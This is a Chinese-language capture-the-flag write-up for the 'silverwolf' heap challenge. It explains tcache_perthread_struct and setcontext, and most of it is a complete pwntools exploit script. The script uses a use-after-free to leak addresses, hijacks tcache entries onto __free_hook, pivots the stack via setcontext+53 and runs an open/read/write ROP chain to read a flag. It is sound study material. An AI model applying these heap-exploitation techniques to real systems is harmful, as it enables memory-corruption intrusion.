0%

zemu解

2025-12-26 11:20By
nop666
TacaheORWUAF

Problem: [CISCN 2021 初赛]silverwolf

真的是非常好的tcache入门题,狠狠点赞了

标签:tcache~perthread~struct+setcontext+orw+fakestack

基本介绍

tcache ~perthread~ struct是一个特殊的chunk

它始终处于

Heap基地址,大小为0x251(含标志位),含0x10的chunk头部和实际大小0x240

其中有一个计数数组和对应的入口指针数组,每个入口指针实际上就是tcache

你可以把这个结构体理解为一个简单的哈希表,一一对应

setcontext则是一个可以根据rdi的值来控制大部分寄存器值的一个函数

我们通常选择从它的第53行开始执行

609f646c94.jpg

因为在此之前会有一个fldenv ~byte~ pte ~[rcx],它会直接导致程序崩溃

选择setcontext原因:

使用非常简单,只需要控制rdi的值就可以完成对rsp的控制

所以我们可以直接把freehook或者其他的任何hook改成setcontext+53

并调用free(你想要的rdi值)即可

.text:00000000000521B5                 mov     rsp, [rdi+0A0h]
.text:00000000000521BC                 mov     rbx, [rdi+80h]
.text:00000000000521C3                 mov     rbp, [rdi+78h]
.text:00000000000521C7                 mov     r12, [rdi+48h]
.text:00000000000521CB                 mov     r13, [rdi+50h]
.text:00000000000521CF                 mov     r14, [rdi+58h]
.text:00000000000521D3                 mov     r15, [rdi+60h]
.text:00000000000521D7                 mov     rcx, [rdi+0A8h]

EXP

from pwn import *
from ae64 import AE64
import ctypes

#====================环境配置=====================
elf = context.binary = ELF('./silverwolf_patched')
libc = ELF('./libc-2.27.so')
rop = ROP(elf)
context.log_level = 'debug'
context.terminal=["tmux","splitw","-h"]
context.cache_dir = None
#================================================

#====================IP端口配置===================
HOST = "node4.anna.nssctf.cn"
PORT = 28415
#================================================

#====================变量区=======================

#================================================

#====================函数区=======================

#因为puts会自动跟一个换行符,所以写个函数方便接收
def puts_recv(message):
    io.recvuntil(message)
    io.recvline()
#printf接受函数
def printf_recv(message):
    io.recvuntil(message)
#64位地址接收打印函数
def get_addr():
    res = u64(io.recvuntil(b'\x0a' , drop = True)[-6:].ljust(8, b'\x00'))
    return res
#64位地址打印函数
def print_addr(addr):
    log.success(f'接受到地址:{hex(addr)}')
#将fmt泄露的四字ascii值0x1231312之类的转换成对应的字符
#使用的时候直接把去掉点的字符串传进来就行
def leak_to_ascii(text: bytes) -> None:
    parts = text.split(b".")
    decoded = b""

    for p in parts:
        p = p.strip()
        if p in (b"", b"(nil)", b"nil"):
            continue
        if p.startswith((b"0x", b"0X")):
            p = p[2:]
        decoded += p64(int(p, 16))  # p64 默认 little-endian

    print(decoded.decode("latin-1", errors="replace"))
#一个异或解密板子,善用bytearray和bytes
def en(string):
    """
    Mirror of the target binary's `encrypt` routine.

    - b'a'..b'z'  -> xor 0x0E
    - b'A'..b'Z'  -> xor 0x0D
    - b'0'..b'9'  -> xor 0x0C
    - others      -> unchanged
    """
    if isinstance(string, str):
        string = string.encode("latin-1")

    out = bytearray(string)
    for i, b in enumerate(out):
        if b <= 0x60 or b > 0x7A:  # '`' or > 'z'
            if b <= 0x40 or b > 0x5A:  # '@' or > 'Z'
                if 0x2F < b <= 0x39:  # '/' < b <= '9'  => '0'..'9'
                    out[i] = b ^ 0x0C
            else:
                out[i] = b ^ 0x0D
        else:
            out[i] = b ^ 0x0E

    return bytes(out)

def create(size):
    printf_recv(b'Your choice: ')
    io.sendline('1')

    printf_recv(b'Index: ')
    io.sendline('0')

    printf_recv(b'Size: ')
    io.sendline(str(size))

def edit(content):
    printf_recv(b'Your choice: ')
    io.sendline('2')

    printf_recv(b'Index: ')
    io.sendline('0')

    printf_recv(b'Content: ')
    io.sendline(content)

def show():
    printf_recv(b'Your choice: ')
    io.sendline('3')

    printf_recv(b'Index: ')
    io.sendline('0')

def delete():
    printf_recv(b'Your choice: ')
    io.sendline('4')

    printf_recv(b'Index: ')
    io.sendline('0')
#================================================

#====================io流=======================
#io = process()
io = connect(HOST , PORT)
#gdb.attach(io)
#==========================================

#先创建一个大小为0x78的chunk,这是本题设置的最大可分配chunk
#这里选择大小有两点要求:
#第一,这里最好分配的大一点,因为后面edit的时候我们要输进去一个不小的值
#而这个程序在edit的时候也会同步检测全局变量size,只能读取这个size大小的数据
#如果只分配0x28到时候就edit不进去,会出现难调试的bug
#第二,由于程序起始的时候就已经往tcache扔了一堆废chunk
#所以选择一条干净的,没有垃圾chunk的链的大小,比如0x78就很好
create(0x78)
#free掉进入tcache
delete()
#泄露一个heap地址
show()

io.recvuntil(b'Content:')

#动态调试出偏移值,这里记得用cpwn init之类的工具用作者给的libc把程序patch一下,不然调出来的偏移值是一定不对的
heap_addr = (get_addr() & 0xfffffffffffff000) - 0x1000

#打印堆基地址
print_addr(heap_addr)

#泄露完堆地址后这个chunk还有用
#因为程序有个很经典的UAF,所以直接利用遗留指针修改它的fd为堆基地址+0x10
#不要直接改成堆基地址,得跳过tcache perthread struct的chunk头!
edit(p64(heap_addr + 0x10))

#现在0x78的tcache链上有两个chunk了,把地址为heap_addr + 0x10的虚空chunk整出来
create(0x78)
create(0x78)

#现在edit从heap_addr + 0x10开始写,这个地方正是count数组的开始,一个字节代表一个链表此时chunk的个数
#这里全部清0,只保留大小为0x250的链计数为7,方便之后free时发配到unsortedbin泄露libc地址
edit(p64(0) * 4 + p64(0x7000000))

#把大小为0x250,地址为heap_addr + 0x10的虚空chunk发配到unsortedbin
delete()

#泄露main_arena地址
show()

#得到libc基地址
libc.address = get_addr() - 0x70 - libc.sym['__malloc_hook']
print_addr(libc.address)

#这里记得把count数组清0一下,不然tcache计数什么都有,后面容易崩
edit(p64(0) * 4 + p64(0x0000000000000000))

#日常获取函数地址和一些常用gadget
#这里write函数被seccomp禁用了,我们用syscall绕过
pop_rdi_ret = libc.address + 0x215BF
pop_rax_ret = libc.address + 0x43AE8
pop_rsi_ret = libc.address + 0x23EEA
pop_rdx_ret = libc.address + 0x1B96
ret = libc.address + 0x8AA
flag = heap_addr + 0x1000
syscall = libc.address + 0xE5965
read_addr = libc.symbols['read']
write_addr = libc.symbols['write']
free_hook = libc.symbols['__free_hook']
print_addr(free_hook)
setcontext = libc.symbols['setcontext'] + 53
print_addr(setcontext)
#随便选的偏移值,别冲突即可且能放下orw链即可
#这里由于orw链有点大,chunk分配的大小不太够,我们分两次写入
orw1 = heap_addr + 0x3000
orw2 = heap_addr + 0x3060
#这个stack_pivot_1是要被当做rdi传进free里的,所以加多少无所谓,这里只是选了个大点的偏移值
#stack_pivot_2必须是stack_pivot_1 + 0x0A0,它是rsp的值,要直接指向orw链的第一条指令
stack_pivot_1 = heap_addr + 0x2000
stack_pivot_2 = heap_addr + 0x20A0

#修改entries这部分Decline佬讲的很好,我就直接拿过来了
#链接:https://www.nssctf.cn/note/set/4511
"""
0x5586484ab000:	0x0000000000000000	0x0000000000000251
--- 0x40 Padding ---
0x5586484ab010:	0x0000000000000000	0x0000000000000000
0x5586484ab020:	0x0000000000000000	0x0000000000000000
0x5586484ab030:	0x0000000000000000	0x0000000000000000
0x5586484ab040:	0x0000000000000000	0x0000000000000000
--- 0x40 Padding ---
0x5586484ab050:	0x00007f0e49b198e8	0x0000000000000000 ---> 0x00007f0e49b198e8 __free_hook, 我们需要劫持为setcontent,这个堆块的大小是 0x20。
0x5586484ab060:	0x00005586484ac000	0x00005586484ad000 ---> flag_addr 和 stack_pivot_1. 这些堆块的大小是 0x40 和 0x50。
0x5586484ab070:	0x00005586484ad0a0	0x00005586484ae000 ---> stack_pivot_2 和 orw1. 这些堆块的大小是 0x60 和 0x70。
0x5586484ab080:	0x00005586484ae060	0x0000000000000000 ---> orw2. 这个堆块的大小是 0x80。
0x5586484ab090:	0x0000000000000000	0x0000000000000000
0x5586484ab0a0:	0x0000000000000000	0x00005586484abad0 --------> 我们不能直接修改链表,因此我们需要手动修改指针。这里还有另一点因素是因为setcontext函数。
0x5586484ab0b0:	0x0000000000000000	0x00005586484ac6a0 --------- 为了实现我们的目标,我们需要申请相同大小的堆块。
0x5586484ab0c0:	0x0000000000000000	0x0000000000000000 --------- __free_hook : 0x18
0x5586484ab0d0:	0x0000000000000000	0x0000000000000000 --------- flag_addr, stack_pivot_1 : 0x38 & 0x48
0x5586484ab0e0:	0x0000000000000000	0x0000000000000000 --------- stack_pivot_2, orw1 : 0x58, 0x68
0x5586484ab0f0:	0x0000000000000000	0x0000000000000000 --------- orw2 : 0x78
0x5586484ab100:	0x0000000000000000	0x0000000000000000
0x5586484ab110:	0x0000000000000000	0x0000000000000000
0x5586484ab120:	0x0000000000000000	0x0000000000000000
0x5586484ab130:	0x0000000000000000	0x0000000000000000
"""
payload = flat([
    b'\x00' * 0x40,  #依旧把counts数组清0
    free_hook,
    0,
    flag,
    stack_pivot_1,
    stack_pivot_2,
    orw1,
    orw2,
])
edit(payload)

#普通的orw链
orw = flat([
    #这一部分是open("./flag")
    pop_rdi_ret,
    flag,
    pop_rsi_ret,
    0,
    pop_rax_ret,
    2,
    syscall,
    #这一部分是read("./flag" , orw1 , 0x30)
    pop_rdi_ret,
    3,
    pop_rsi_ret,
    orw1,
    pop_rdx_ret,
    0x30,
    read_addr,
    #这一部分是write(1 , orw1 , 0x30)
    pop_rdi_ret,
    1,
    write_addr,
])
#按照我们设计好的位置依次写入对应的值
#freehook处写入setcontext+53
create(0x18)
edit(p64(setcontext))

create(0x38)
edit('./flag')
#记得分两次!
create(0x68)
edit(orw[:0x60])
create(0x78)
edit(orw[0x60:])
#记得在后面加个ret启动orw链
create(0x58)
edit(p64(orw1) + p64(ret))

create(0x48)
#free(stack_pivot_1)触发setcontext
delete()

io.interactive()

总结

出的太好了,做爽了

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

加载中...